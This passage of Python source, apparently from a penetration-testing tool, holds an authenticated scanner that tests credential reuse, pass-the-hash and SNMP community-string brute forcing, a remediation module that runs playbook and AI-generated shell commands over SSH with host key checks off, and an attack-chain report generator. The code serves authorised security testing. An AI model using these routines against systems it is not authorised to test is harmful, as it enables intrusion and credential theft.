                        self.emit(f"[CRED-REUSE] ⚠ CREDENTIAL REUSE: {target_service}://{u}@{host}:{port} (password from {cred['host']})", "vuln")
                        cred_store.add(target_service, host, port, u, p, "credential_reuse")

                except Exception as e:
                    logger.debug(f"[CRED-REUSE] Error testing {host}:{port}: {e}")

        self.reuse_results = hits
        self.emit(f"[CRED-REUSE] Found {len(hits)} credential reuse hit(s)", "ok" if not hits else "vuln")
        return hits


class AuthenticatedScanner:
    """
    Top-level orchestrator for all authenticated scanning.
    Called from app.py between Phase 3 (NSE) and Phase 4 (CVE).

    Usage:
        auth = AuthenticatedScanner(
            target=resolved, services=services, config=config,
            emit_fn=lambda msg, lvl="info": emit_log(msg, lvl)
        )
        auth_results = auth.run()
    """

    def __init__(self, target: str, services: list, config: dict, emit_fn=None):
        self.target = target
        self.services = services
        self.config = config
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.results = {
            "ssh": None,
            "smb": None,
            "wmi": None,
            "snmp": None,
            "credential_reuse": [],
            "pivot_candidates": [],
            "discovered_credentials": [],
        }

    def run(self) -> dict:
        """Run all applicable authenticated scans based on available credentials."""
        ssh_method = self.config.get("ssh_auth_method", "password")
        ssh_user   = self.config.get("ssh_username", "")
        ssh_pass   = self.config.get("ssh_password", "")
        ssh_key    = self.config.get("ssh_key_path", "")
        # Handle PEM private key text from UI upload
        ssh_pem    = self.config.get("ssh_private_key", "")
        if ssh_pem and not ssh_key:
            # Write PEM to a temp file for paramiko
            import tempfile, os as _os
            try:
                tf = tempfile.NamedTemporaryFile(delete=False, suffix=".pem", mode="w")
                tf.write(ssh_pem); tf.close()
                ssh_key = tf.name
                self.emit(f"[AUTH] SSH private key saved to temp file", "info")
            except Exception as _pem_err:
                self.emit(f"[AUTH] Could not write SSH PEM: {_pem_err}", "warn")

        ssh_port   = self.config.get("ssh_port", 22)
        smb_user   = self.config.get("smb_username", "")
        smb_pass   = self.config.get("smb_password", "")
        smb_dom    = self.config.get("smb_domain", "WORKGROUP")
        win_method = self.config.get("win_auth_method", "password")
        ntlm_hash  = self.config.get("smb_ntlm_hash", "")
        lm_hash    = self.config.get("smb_lm_hash", "")

        # SNMPv3 config
        snmpv3_user   = self.config.get("snmpv3_username", "")
        snmpv3_port   = self.config.get("snmpv3_port", 161)
        snmpv3_level  = self.config.get("snmpv3_sec_level", "authPriv")
        snmpv3_auth   = self.config.get("snmpv3_auth_algo", "SHA")
        snmpv3_apriv  = self.config.get("snmpv3_auth_pass", "")
        snmpv3_palgo  = self.config.get("snmpv3_priv_algo", "AES")
        snmpv3_ppass  = self.config.get("snmpv3_priv_pass", "")

        port_nums = [int(s["port"]) for s in self.services]

        ssh_has_creds = ssh_user and (ssh_pass or ssh_key or ssh_method == "kerberos")
        ssh_port_open = ssh_port in port_nums or 22 in port_nums
        if ssh_has_creds and ssh_port_open:
            try:
                self.emit(f"[AUTH] SSH scan — method={ssh_method} user={ssh_user}", "info")
                scanner = SSHAuthScanner(
                    self.target, ssh_port, ssh_user, ssh_pass, ssh_key, self.emit
                )
                self.results["ssh"] = scanner.run_full_enum()

                # Extract pivot indicators
                pivot = self.results["ssh"].get("pivot_indicators", {})
                if pivot.get("dual_homed"):
                    self.results["pivot_candidates"].append({
                        "host": self.target,
                        "type": "dual_homed_ssh",
                        "details": pivot,
                    })
                    self.emit(pivot.get("pivot_note", ""), "vuln")

            except Exception as e:
                self.emit(f"[AUTH] SSH scan error: {e}", "warn")

        smb_cred_ok = False
        if win_method == "password" and smb_user and smb_pass:
            smb_cred_ok = True
        elif win_method == "ntlm" and smb_user and ntlm_hash:
            # pass-the-hash via impacket if available
            smb_pass = ntlm_hash
            smb_cred_ok = True
        elif win_method == "lm" and smb_user and lm_hash:
            smb_pass = lm_hash
            smb_cred_ok = True
        elif win_method in ("laps",) and smb_user and smb_pass:
            smb_cred_ok = True
        if smb_cred_ok and any(p in port_nums for p in (445, 139)):
            try:
                ntlmv1_flag = "--disable-ntlmv1" if self.config.get("win_no_ntlmv1") else ""
                self.emit(f"[AUTH] SMB/Windows scan — method={win_method} user={smb_user}@{smb_dom}", "info")
                scanner = SMBAuthScanner(
                    self.target, smb_user, smb_pass, smb_dom, self.emit
                )
                self.results["smb"] = scanner.run_full_enum()
            except Exception as e:
                self.emit(f"[AUTH] SMB scan error: {e}", "warn")

        snmp_port_open = snmpv3_port in port_nums or 161 in port_nums
        if snmp_port_open:
            try:
                # If SNMPv3 credentials provided, try authenticated SNMPv3 first
                if snmpv3_user and snmpv3_apriv:
                    self.emit(f"[AUTH] SNMPv3 scan — user={snmpv3_user} level={snmpv3_level} auth={snmpv3_auth} priv={snmpv3_palgo}", "info")
                    # Try snmpwalk with v3 credentials
                    auth_flag = f"-a {snmpv3_auth} -A {shlex.quote(snmpv3_apriv)}" if snmpv3_apriv else ""
                    priv_flag = f"-x {snmpv3_palgo} -X {shlex.quote(snmpv3_ppass)}" if snmpv3_ppass else ""
                    sec_level = {"noAuthNoPriv": "noAuthNoPriv", "authNoPriv": "authNoPriv", "authPriv": "authPriv"}.get(snmpv3_level, "authPriv")
                    v3_out = run_cmd(
                        f"snmpwalk -v3 -u {shlex.quote(snmpv3_user)} -l {sec_level} "
                        f"{auth_flag} {priv_flag} {shlex.quote(self.target)} 2>&1 | head -60",
                        timeout=30
                    )
                    if v3_out and "No Such Object" not in v3_out and "Timeout" not in v3_out:
                        self.emit(f"[AUTH] SNMPv3 auth SUCCESS for {snmpv3_user}", "vuln")
                        cred_store.add("snmpv3", self.target, snmpv3_port, snmpv3_user, snmpv3_apriv, "snmpv3_authenticated")
                        self.results["snmp"] = {"v3_authenticated": True, "user": snmpv3_user, "output": v3_out[:500]}
                    else:
                        self.emit(f"[AUTH] SNMPv3 auth failed — falling back to community string brute", "warn")
                        scanner = SNMPScanner(self.target, snmpv3_port, self.emit)
                        self.results["snmp"] = scanner.run_full_enum()
                else:
                    scanner = SNMPScanner(self.target, snmpv3_port, self.emit)
                    self.results["snmp"] = scanner.run_full_enum()
            except Exception as e:
                self.emit(f"[AUTH] SNMP scan error: {e}", "warn")

        try:
            reuse = CredentialReuseEngine(self.emit)
            self.results["credential_reuse"] = reuse.run_reuse(self.services)
        except Exception as e:
            self.emit(f"[AUTH] Credential reuse error: {e}", "warn")

        # Attach all discovered creds to results
        self.results["discovered_credentials"] = cred_store.all()

        self.emit(f"[AUTH] Authenticated scan complete — {len(self.results['discovered_credentials'])} credential(s) found", "ok")
        return self.results

"""PentestChain v2.0 — Remediation Verifier (Phase 9)"""

import logging
from typing import Optional, Callable

logger = logging.getLogger("remediation_verifier")


TIER1_PLAYBOOK = {
    "22": {
        "default": {
            "name": "SSH Hardening (CIS Benchmark)",
            "linux": [
                "sed -i 's/#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config",
                "sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config",
                "sed -i 's/#*MaxAuthTries.*/MaxAuthTries 3/' /etc/ssh/sshd_config",
                "sed -i 's/#*Protocol.*/Protocol 2/' /etc/ssh/sshd_config",
                "echo 'AllowUsers ${SSH_ALLOWED_USER:-admin}' >> /etc/ssh/sshd_config",
                "systemctl restart sshd",
            ],
            "windows": [],
            "inverse_linux": [
                "sed -i 's/PermitRootLogin no/#PermitRootLogin yes/' /etc/ssh/sshd_config",
                "sed -i 's/PasswordAuthentication no/#PasswordAuthentication yes/' /etc/ssh/sshd_config",
                "systemctl restart sshd",
            ],
            "verify_nse": ["ssh-auth-methods", "sshv1"],
            "verify_keyword": "password",  # NSE should NOT find "password auth" after fix
        }
    },
    "21": {
        "vsftpd 2.3.4": {
            "name": "Remove vsftpd 2.3.4 Backdoor (CVE-2011-2523)",
            "linux": [
                "apt-get remove vsftpd -y 2>/dev/null || yum remove vsftpd -y 2>/dev/null",
                "apt-get install vsftpd -y 2>/dev/null || yum install vsftpd -y 2>/dev/null",
                "echo 'anonymous_enable=NO' >> /etc/vsftpd.conf",
                "echo 'local_enable=YES' >> /etc/vsftpd.conf",
                "systemctl restart vsftpd",
            ],
            "windows": [],
            "inverse_linux": ["# No safe rollback for backdoored binary — upgrade is irreversible"],
            "verify_nse": ["ftp-vsftpd-backdoor"],
            "verify_keyword": "backdoor",
        },
        "anonymous": {
            "name": "Disable FTP Anonymous Login",
            "linux": [
                "sed -i 's/anonymous_enable=YES/anonymous_enable=NO/' /etc/vsftpd.conf",
                "systemctl restart vsftpd",
            ],
            "windows": [],
            "inverse_linux": [
                "sed -i 's/anonymous_enable=NO/anonymous_enable=YES/' /etc/vsftpd.conf",
                "systemctl restart vsftpd",
            ],
            "verify_nse": ["ftp-anon"],
            "verify_keyword": "anonymous",
        }
    },
    "445": {
        "ms17-010": {
            "name": "Disable SMBv1 / Apply MS17-010 Patch",
            "linux": [
                "grep -q 'min protocol' /etc/samba/smb.conf || echo '[global]' >> /etc/samba/smb.conf",
                "sed -i '/\\[global\\]/a min protocol = SMB2' /etc/samba/smb.conf",
                "systemctl restart smbd",
            ],
            "windows": [
                "Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force",
                "Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart",
                "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters' SMB1 -Type DWORD -Value 0 -Force",
            ],
            "inverse_linux": [
                "sed -i '/min protocol = SMB2/d' /etc/samba/smb.conf",
                "systemctl restart smbd",
            ],
            "verify_nse": ["smb-vuln-ms17-010", "smb-protocols"],
            "verify_keyword": "VULNERABLE",
        }
    },
    "443": {
        "heartbleed": {
            "name": "Patch OpenSSL Heartbleed (CVE-2014-0160)",
            "linux": [
                "apt-get update -y && apt-get install openssl libssl-dev -y",
                "systemctl restart nginx apache2 2>/dev/null || true",
            ],
            "windows": ["# Update OpenSSL binaries via vendor installer"],
            "inverse_linux": ["# No safe rollback — keep OpenSSL updated"],
            "verify_nse": ["ssl-heartbleed"],
            "verify_keyword": "heartbleed",
        }
    },
    "3306": {
        "mysql": {
            "name": "Secure MySQL Exposed Instance",
            "linux": [
                "mysql -u root -e \"DELETE FROM mysql.user WHERE User=''; FLUSH PRIVILEGES;\" 2>/dev/null",
                "mysql -u root -e \"UPDATE mysql.user SET authentication_string=PASSWORD('STRONG_PASS_$(date +%s)') WHERE User='root'; FLUSH PRIVILEGES;\" 2>/dev/null",
                "sed -i 's/bind-address.*/bind-address = 127.0.0.1/' /etc/mysql/mysql.conf.d/mysqld.cnf 2>/dev/null",
                "systemctl restart mysql",
            ],
            "windows": ["# Bind MySQL to 127.0.0.1 in my.ini, restart service"],
            "inverse_linux": [
                "sed -i 's/bind-address = 127.0.0.1/bind-address = 0.0.0.0/' /etc/mysql/mysql.conf.d/mysqld.cnf 2>/dev/null",
                "systemctl restart mysql",
            ],
            "verify_nse": ["mysql-empty-password"],
            "verify_keyword": "empty password",
        }
    },
    "6379": {
        "redis": {
            "name": "Secure Redis (Unauthenticated RCE)",
            "linux": [
                "grep -q requirepass /etc/redis/redis.conf || echo 'requirepass REDIS_PASS_$(date +%s)' >> /etc/redis/redis.conf",
                "sed -i 's/^bind .*/bind 127.0.0.1/' /etc/redis/redis.conf",
                "sed -i 's/protected-mode no/protected-mode yes/' /etc/redis/redis.conf",
                "systemctl restart redis",
            ],
            "windows": ["# Set requirepass in redis.conf, restart service"],
            "inverse_linux": [
                "sed -i '/requirepass/d' /etc/redis/redis.conf",
                "sed -i 's/bind 127.0.0.1/bind 0.0.0.0/' /etc/redis/redis.conf",
                "systemctl restart redis",
            ],
            "verify_nse": ["redis-info"],
            "verify_keyword": "unauthorized",
        }
    },
}


def _ssh_execute(host: str, port: int, username: str, password: str,
                 commands: list, timeout: int = 60, emit_fn=None) -> dict:
    """
    Execute a list of shell commands over SSH.
    Returns: {success, output, errors, commands_run}
    """
    emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
    results = []
    errors = []
    success = True

    for cmd in commands:
        if cmd.strip().startswith("#"):
            results.append(f"# SKIPPED: {cmd}")
            continue
        try:
            ssh_cmd = [
                "sshpass", "-p", password,
                "ssh",
                "-o", "StrictHostKeyChecking=no",
                "-o", "UserKnownHostsFile=/dev/null",
                "-o", "ConnectTimeout=10",
                "-p", str(port),
                f"{username}@{host}",
                cmd,
            ]
            r = subprocess.run(ssh_cmd, capture_output=True, text=True, timeout=timeout)
            output = (r.stdout + r.stderr).strip()
            results.append(f"$ {cmd}\n{output}")
            if r.returncode != 0 and "not found" not in output:
                errors.append(f"Command returned {r.returncode}: {cmd}")
                success = False
            emit(f"[REMEDIATE] $ {cmd[:60]}... → rc={r.returncode}", "info")
        except Exception as e:
            errors.append(f"SSH error on: {cmd} — {e}")
            success = False

    return {
        "success": success,
        "output": "\n".join(results),
        "errors": errors,
        "commands_run": len(results),
    }


def _rerun_nse(target: str, port: str, scripts: list, timeout: int = 120) -> dict:
    """
    Re-run specific NSE scripts on a port post-remediation.
    Returns: {still_vulnerable, output, keyword_found}
    """
    if not scripts:
        return {"still_vulnerable": False, "output": "", "keyword_found": None}
    try:
        script_str = ",".join(scripts)
        cmd = f"nmap -p {port} --script {script_str} --script-timeout 30 {target}"
        r = subprocess.run(shlex.split(cmd), capture_output=True, text=True, timeout=timeout)
        output = (r.stdout + r.stderr).strip()
        return {
            "still_vulnerable": "VULNERABLE" in output or "vulnerable" in output.lower(),
            "output": output,
            "keyword_found": "VULNERABLE" in output,
        }
    except Exception as e:
        return {"still_vulnerable": None, "output": f"ERROR: {e}", "keyword_found": None}


def log_feedback(out_dir: str, fix_id: str, service: str, port: str,
                 tier: int, commands: list, success: bool, still_vuln: bool):
    """
    Append fix result to fixes_feedback.json for RL loop.
    AI reads this file on future scans to learn what works.
    """
    feedback_path = os.path.join(out_dir, "fixes_feedback.json")
    entry = {
        "timestamp": datetime.datetime.now().isoformat(),
        "fix_id": fix_id,
        "service": service,
        "port": port,
        "tier": tier,
        "commands": commands,
        "execution_success": success,
        "still_vulnerable_after": still_vuln,
        "effective": success and not still_vuln,
    }
    try:
        existing = []
        if os.path.exists(feedback_path):
            with open(feedback_path) as f:
                existing = json.load(f)
        existing.append(entry)
        with open(feedback_path, "w") as f:
            json.dump(existing, f, indent=2)
    except Exception as e:
        logger.warning(f"[FEEDBACK] Could not write feedback: {e}")


def load_feedback_context(out_dir: str) -> str:
    """Load historical fix feedback for AI context."""
    feedback_path = os.path.join(out_dir, "fixes_feedback.json")
    if not os.path.exists(feedback_path):
        return ""
    try:
        with open(feedback_path) as f:
            data = json.load(f)
        # Summarize — only effective/failed fixes
        effective = [d for d in data if d.get("effective")]
        failed = [d for d in data if not d.get("effective")]
        summary = (
            f"Historical fixes: {len(effective)} effective, {len(failed)} failed. "
            f"Effective examples: {json.dumps(effective[-3:], separators=(',',':'))[:500]}. "
            f"Failed examples: {json.dumps(failed[-2:], separators=(',',':'))[:300]}."
        )
        return summary
    except Exception:
        return ""


def ai_generate_fix(service: dict, cves: list, call_ai_fn: Callable,
                    feedback_context: str = "") -> dict:
    """
    AI generates Tier 2 fix specific to the exact version + CVEs detected.
    Returns: {linux: [...], windows: [...], inverse_linux: [...], explanation: str}
    """
    product = service.get("product", service.get("service", "unknown"))
    version = service.get("version", "")
    port = service.get("port", "")
    cve_ids = [c["id"] for c in cves[:5]]

    feedback_note = f"\nHistorical feedback: {feedback_context}" if feedback_context else ""

    prompt = f"""You are a Linux/Windows system hardening expert.
Generate specific remediation commands for this finding:{feedback_note}

SERVICE: {product} {version} on port {port}
CVEs: {', '.join(cve_ids) if cve_ids else 'N/A'}
PLATFORM: Linux (primary), Windows (secondary)

Generate THREE tiers of fix commands.
Respond ONLY with valid JSON — no markdown, no text outside JSON:
{{
  "explanation": "clear explanation of the vulnerability and why this fix works",
  "linux_commands": ["specific bash commands for exact version {version}"],
  "windows_commands": ["specific PowerShell commands"],
  "inverse_linux": ["commands to UNDO the fix (rollback)"],
  "verify_nse_scripts": ["nse_script1", "nse_script2"],
  "verify_keyword": "keyword that should NOT appear in NSE output if fix worked",
  "risk_if_not_fixed": "CRITICAL|HIGH|MEDIUM"
}}

Rules:
- Commands must work on Debian/Ubuntu AND RHEL/CentOS (use 2>/dev/null for cross-platform safety)
- Be specific to version {version}, not generic
- inverse_linux must safely UNDO every linux_commands step
- verify_nse_scripts must be real nmap NSE script names"""

    try:
        response = call_ai_fn(prompt)
        if not response:
            return {}
        response = re.sub(r"^```(?:json)?\s*\n?", "", response.strip())
        response = re.sub(r"\n?\s*```\s*$", "", response.strip())
        return json.loads(response)
    except Exception as e:
        logger.warning(f"[REMEDIATE] AI fix generation failed: {e}")
        return {}


class RemediationVerifier:
    """
    Full Phase 9 closed-loop remediation pipeline.
    """

    def __init__(self, target: str, services: list, nse_findings: dict,
                 all_cves: dict, ssh_user: str = "", ssh_pass: str = "",
                 ssh_port: int = 22, out_dir: str = "/app/results",
                 emit_fn=None):
        self.target = target
        self.services = services
        self.nse_findings = nse_findings
        self.all_cves = all_cves
        self.ssh_user = ssh_user
        self.ssh_pass = ssh_pass
        self.ssh_port = ssh_port
        self.out_dir = out_dir
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.plan = []

    def generate_plan(self, call_ai_fn: Callable = None) -> list:
        """
        For each vulnerable service, generate Tier 1/2/3 fix options.
        Returns list of fix plans to present in UI.
        """
        self.emit("[REMEDIATE] Generating remediation plan...", "phase")
        feedback_context = load_feedback_context(self.out_dir)

        for svc in self.services:
            port = svc["port"]
            ip = svc["ip"]
            key = f"{ip}:{port}"
            nse_hits = self.nse_findings.get(key, [])
            cves = self.all_cves.get(key, [])
            banner = (svc.get("banner", "") or "").lower()
            product = svc.get("product", svc.get("service", ""))
            version = svc.get("version", "")

            # Only generate fixes for confirmed issues
            has_vuln = any(
                any(kw in h.lower() for kw in ("vulnerable", "cve-", "exploit", "backdoor"))
                for h in nse_hits
            ) or any((c.get("score") or 0) >= 7 for c in cves)

            if not has_vuln:
                continue

            fix_id = f"fix_{port}_{int(time.time())}"

            tier1 = None
            port_playbook = TIER1_PLAYBOOK.get(port, {})
            for keyword, playbook in port_playbook.items():
                if keyword == "default" or keyword in banner or any(keyword in h.lower() for h in nse_hits):
                    tier1 = {
                        "tier": 1,
                        "label": "Known-Good Playbook",
                        "name": playbook["name"],
                        "linux_commands": playbook.get("linux", []),
                        "windows_commands": playbook.get("windows", []),
                        "inverse_linux": playbook.get("inverse_linux", []),
                        "verify_nse_scripts": playbook.get("verify_nse", []),
                        "verify_keyword": playbook.get("verify_keyword", "VULNERABLE"),
                        "confidence": "HIGH — curated for this exact vulnerability",
                    }
                    break

            tier2 = None
            if call_ai_fn:
                self.emit(f"[REMEDIATE] AI generating Tier-2 fix for {product} {version}...", "run")
                ai_fix = ai_generate_fix(svc, cves, call_ai_fn, feedback_context)
                if ai_fix:
                    tier2 = {
                        "tier": 2,
                        "label": "AI-Generated Fix",
                        "name": f"AI fix for {product} {version}",
                        "linux_commands": ai_fix.get("linux_commands", []),
                        "windows_commands": ai_fix.get("windows_commands", []),
                        "inverse_linux": ai_fix.get("inverse_linux", []),
                        "verify_nse_scripts": ai_fix.get("verify_nse_scripts", []),
                        "verify_keyword": ai_fix.get("verify_keyword", "VULNERABLE"),
                        "explanation": ai_fix.get("explanation", ""),
                        "confidence": "MEDIUM — AI-generated, validate before running",
                    }

            tier3 = {
                "tier": 3,
                "label": "Generic Best Practice",
                "name": f"Generic hardening for port {port}",
                "linux_commands": [
                    f"# Generic: ensure service is updated",
                    f"apt-get update -y && apt-get upgrade -y 2>/dev/null || yum update -y 2>/dev/null",
                    f"# Restrict access via firewall",
                    f"ufw deny {port} 2>/dev/null || firewall-cmd --remove-port={port}/tcp --permanent 2>/dev/null",
                    f"firewall-cmd --reload 2>/dev/null || ufw reload 2>/dev/null",
                ],
                "windows_commands": [
                    f"# Block port {port} via Windows Firewall",
                    f"netsh advfirewall firewall add rule name='Block_{port}' dir=in action=block protocol=TCP localport={port}",
                ],
                "inverse_linux": [
                    f"ufw allow {port} 2>/dev/null || firewall-cmd --add-port={port}/tcp --permanent 2>/dev/null",
                    f"firewall-cmd --reload 2>/dev/null || ufw reload 2>/dev/null",
                ],
                "verify_nse_scripts": [],
                "verify_keyword": "",
                "confidence": "LOW — generic, may have unintended consequences",
            }

            plan_entry = {
                "fix_id": fix_id,
                "service_key": key,
                "ip": ip,
                "port": port,
                "product": product,
                "version": version,
                "cves": [c["id"] for c in cves[:5]],
                "nse_hits": nse_hits[:3],
                "tiers": [t for t in [tier1, tier2, tier3] if t is not None],
                "approved_tier": None,  # User selects in UI
                "status": "pending",
            }
            self.plan.append(plan_entry)
            self.emit(f"[REMEDIATE] Fix plan for {key}: {len(plan_entry['tiers'])} tiers available", "ok")

        self.emit(f"[REMEDIATE] Total: {len(self.plan)} fix plan(s) generated", "ok")
        return self.plan

    def apply_and_verify(self, fix_id: str, tier: int,
                         os_target: str = "linux") -> dict:
        """
        Apply an approved fix via SSH and verify with NSE re-scan.
        Returns: {fix_id, applied, verify_result, rolled_back, output}
        """
        # Find the plan entry
        plan_entry = next((p for p in self.plan if p["fix_id"] == fix_id), None)
        if not plan_entry:
            return {"error": f"fix_id {fix_id} not found in plan"}

        selected_tier = next((t for t in plan_entry["tiers"] if t["tier"] == tier), None)
        if not selected_tier:
            return {"error": f"Tier {tier} not available for {fix_id}"}

        port = plan_entry["port"]
        ip = plan_entry["ip"]
        commands = selected_tier.get("linux_commands" if os_target == "linux" else "windows_commands", [])

        self.emit(f"[REMEDIATE] Applying Tier-{tier} fix on {ip}:{port}...", "phase")

        if not self.ssh_user or not self.ssh_pass:
            return {
                "fix_id": fix_id,
                "applied": False,
                "error": "No SSH credentials provided — cannot apply fix remotely",
                "commands_preview": commands,
            }

        exec_result = _ssh_execute(
            ip, self.ssh_port, self.ssh_user, self.ssh_pass, commands,
            emit_fn=self.emit
        )

        self.emit(f"[REMEDIATE] Fix applied: success={exec_result['success']}", "ok" if exec_result["success"] else "warn")

        verify_scripts = selected_tier.get("verify_nse_scripts", [])
        verify_keyword = selected_tier.get("verify_keyword", "VULNERABLE")
        verify_result = {}

        if verify_scripts:
            self.emit(f"[REMEDIATE] Re-running NSE to verify fix on {ip}:{port}...", "run")
            time.sleep(3)  # Give service time to restart
            verify_result = _rerun_nse(ip, port, verify_scripts)

            still_vuln = verify_result.get("still_vulnerable", False)
            self.emit(
                f"[REMEDIATE] Verification: {'STILL VULNERABLE ⚠' if still_vuln else '✓ FIXED'}",
                "vuln" if still_vuln else "ok"
            )

            if still_vuln and exec_result["success"]:
                inverse = selected_tier.get("inverse_linux", [])
                if inverse and os_target == "linux":
                    self.emit(f"[REMEDIATE] Rolling back — fix did not resolve vulnerability", "warn")
                    rollback_result = _ssh_execute(
                        ip, self.ssh_port, self.ssh_user, self.ssh_pass, inverse,
                        emit_fn=self.emit
                    )
                    self.emit(f"[REMEDIATE] Rollback {'complete' if rollback_result['success'] else 'FAILED'}", "info")
        else:
            still_vuln = None

        log_feedback(
            self.out_dir, fix_id, plan_entry["product"], port,
            tier, commands, exec_result["success"],
            still_vuln if still_vuln is not None else False
        )

        # Update plan status
        plan_entry["status"] = "fixed" if (exec_result["success"] and not still_vuln) else "failed"
        plan_entry["approved_tier"] = tier

        return {
            "fix_id": fix_id,
            "applied": exec_result["success"],
            "output": exec_result["output"],
            "errors": exec_result["errors"],
            "verify_result": verify_result,
            "still_vulnerable": still_vuln,
            "rolled_back": still_vuln and bool(selected_tier.get("inverse_linux")),
            "status": plan_entry["status"],
        }

    def get_plan(self) -> list:
        return self.plan

"""PentestChain v2.0 — Enhanced Report Exporter (Phase 10)"""

import csv
import logging
from typing import Optional

logger = logging.getLogger("report_exporter")


def generate_attack_chain_svg(
    services: list,
    exploits: list,
    nse_findings: dict,
    all_cves: dict,
    pivot_candidates: list = None,
    auth_results: dict = None,
) -> str:
    """
    Generate a kill-chain SVG diagram showing:
    - Attacker node (red)
    - Discovered services (blue boxes)
    - Exploitable services (orange with lightning)
    - Credential reuse arrows (dashed)
    - Pivot paths (green arrows)
    """
    pivot_candidates = pivot_candidates or []

    # Build node list
    nodes = []
    exploitable_ports = {str(e.get("port", "")) for e in exploits}

    # Attacker node
    nodes.append({"id": "attacker", "label": "Attacker", "type": "attacker", "x": 50, "y": 250})

    # Services
    cols = 3
    for i, svc in enumerate(services[:18]):  # Cap at 18 for readability
        key = f"{svc['ip']}:{svc['port']}"
        vuln = svc["port"] in exploitable_ports or bool(nse_findings.get(key))
        cves = all_cves.get(key, [])
        max_score = max((c.get("score") or 0 for c in cves), default=0)

        col = i % cols
        row = i // cols
        x = 250 + col * 220
        y = 80 + row * 140

        node_type = "exploit" if vuln else "service"
        if max_score >= 9:
            node_type = "critical"

        nodes.append({
            "id": key,
            "label": f"{svc.get('service', 'unknown')}:{svc['port']}",
            "sublabel": svc.get("banner", "")[:20],
            "type": node_type,
            "x": x,
            "y": y,
            "cve_count": len(cves),
            "max_score": max_score,
        })

    # Calculate SVG dimensions
    max_x = max(n["x"] for n in nodes) + 180
    max_y = max(n["y"] for n in nodes) + 100
    width = max(800, max_x + 50)
    height = max(500, max_y + 100)

    # Color map
    colors = {
        "attacker": ("#ff3355", "#ff000033"),
        "service":  ("#00d4ff", "#00d4ff22"),
        "exploit":  ("#ff8800", "#ff880033"),
        "critical": ("#ff3355", "#ff335533"),
    }

    # Build SVG
    svg_parts = [f'''<svg viewBox="0 0 {width} {height}" xmlns="http://www.w3.org/2000/svg" style="background:#0d1117;font-family:monospace">
  <defs>
    <marker id="arrow" markerWidth="10" markerHeight="7" refX="10" refY="3.5" orient="auto">
      <polygon points="0 0, 10 3.5, 0 7" fill="#ff8800"/>
    </marker>
    <marker id="arrow-red" markerWidth="10" markerHeight="7" refX="10" refY="3.5" orient="auto">
      <polygon points="0 0, 10 3.5, 0 7" fill="#ff3355"/>
    </marker>
    <marker id="arrow-green" markerWidth="10" markerHeight="7" refX="10" refY="3.5" orient="auto">
      <polygon points="0 0, 10 3.5, 0 7" fill="#00ff88"/>
    </marker>
  </defs>
  <text x="20" y="30" fill="#4a6080" font-size="14" letter-spacing="3">PentestChain — ATTACK CHAIN VISUALISATION</text>
''']

    # Draw edges: attacker → all services
    attacker = nodes[0]
    for node in nodes[1:]:
        color = "#ff3355" if node["type"] in ("exploit", "critical") else "#00d4ff44"
        dash = "stroke-dasharray:5,3" if node["type"] == "service" else ""
        svg_parts.append(
            f'  <line x1="{attacker["x"]+60}" y1="{attacker["y"]}" '
            f'x2="{node["x"]}" y2="{node["y"]+30}" '
            f'stroke="{color}" stroke-width="1.5" {dash} opacity="0.5" '
            f'marker-end="url(#arrow)"/>'
        )

    # Draw pivot arrows between dual-homed nodes
    for pivot in pivot_candidates:
        pivot_ip = pivot.get("host", "")
        for node in nodes:
            if pivot_ip in node["id"]:
                for other_node in nodes:
                    if other_node["id"] != node["id"] and other_node["type"] != "attacker":
                        svg_parts.append(
                            f'  <line x1="{node["x"]+90}" y1="{node["y"]+30}" '
                            f'x2="{other_node["x"]}" y2="{other_node["y"]+30}" '
                            f'stroke="#00ff88" stroke-width="2" stroke-dasharray="8,4" opacity="0.7" '
                            f'marker-end="url(#arrow-green)"/>'
                        )
                        break

    # Draw nodes
    for node in nodes:
        ntype = node["type"]
        stroke, fill = colors.get(ntype, ("#4a6080", "#4a608022"))
        x, y = node["x"], node["y"]

        if ntype == "attacker":
            # Diamond shape for attacker
            svg_parts.append(
                f'  <polygon points="{x},{y-40} {x+60},{y} {x},{y+40} {x-60},{y}" '
                f'fill="{fill}" stroke="{stroke}" stroke-width="2"/>'
                f'  <text x="{x}" y="{y-50}" fill="{stroke}" font-size="11" text-anchor="middle" font-weight="bold">ATTACKER</text>'
            )
        else:
            # Box shape for services
            icon = "⚡" if ntype in ("exploit", "critical") else "●"
            w, h = 140, 60
            svg_parts.append(
                f'  <rect x="{x}" y="{y}" width="{w}" height="{h}" rx="4" '
                f'fill="{fill}" stroke="{stroke}" stroke-width="{2 if ntype == chr(99)+"ritical" else 1}"/>'
                f'  <text x="{x+w//2}" y="{y+18}" fill="{stroke}" font-size="11" text-anchor="middle" font-weight="bold">{icon} {node["label"]}</text>'
            )
            if node.get("sublabel"):
                svg_parts.append(
                    f'  <text x="{x+w//2}" y="{y+32}" fill="#8b949e" font-size="9" text-anchor="middle">{node["sublabel"]}</text>'
                )
            if node.get("cve_count", 0) > 0:
                svg_parts.append(
                    f'  <text x="{x+w//2}" y="{y+48}" fill="#ff3355" font-size="9" text-anchor="middle">'
                    f'{node["cve_count"]} CVEs | CVSS {node.get("max_score","?")}</text>'
                )

    # Legend
    legend_y = height - 60
    svg_parts.append(f'''
  <rect x="20" y="{legend_y}" width="10" height="10" fill="#00d4ff22" stroke="#00d4ff"/>
  <text x="35" y="{legend_y+9}" fill="#8b949e" font-size="11">Service</text>
  <rect x="100" y="{legend_y}" width="10" height="10" fill="#ff880033" stroke="#ff8800"/>
  <text x="115" y="{legend_y+9}" fill="#8b949e" font-size="11">Exploitable</text>
  <rect x="210" y="{legend_y}" width="10" height="10" fill="#ff335533" stroke="#ff3355"/>
  <text x="225" y="{legend_y+9}" fill="#8b949e" font-size="11">Critical CVE</text>
  <line x1="310" y1="{legend_y+5}" x2="340" y2="{legend_y+5}" stroke="#00ff88" stroke-width="2" stroke-dasharray="6,3"/>
  <text x="345" y="{legend_y+9}" fill="#8b949e" font-size="11">Pivot Path</text>
''')

    svg_parts.append("</svg>")
    return "\n".join(svg_parts)


def export_csv(scan_results: dict, csv_path: str) -> str:
    """Export all CVE findings to CSV for machine-readable processing."""
    services = scan_results.get("services", [])
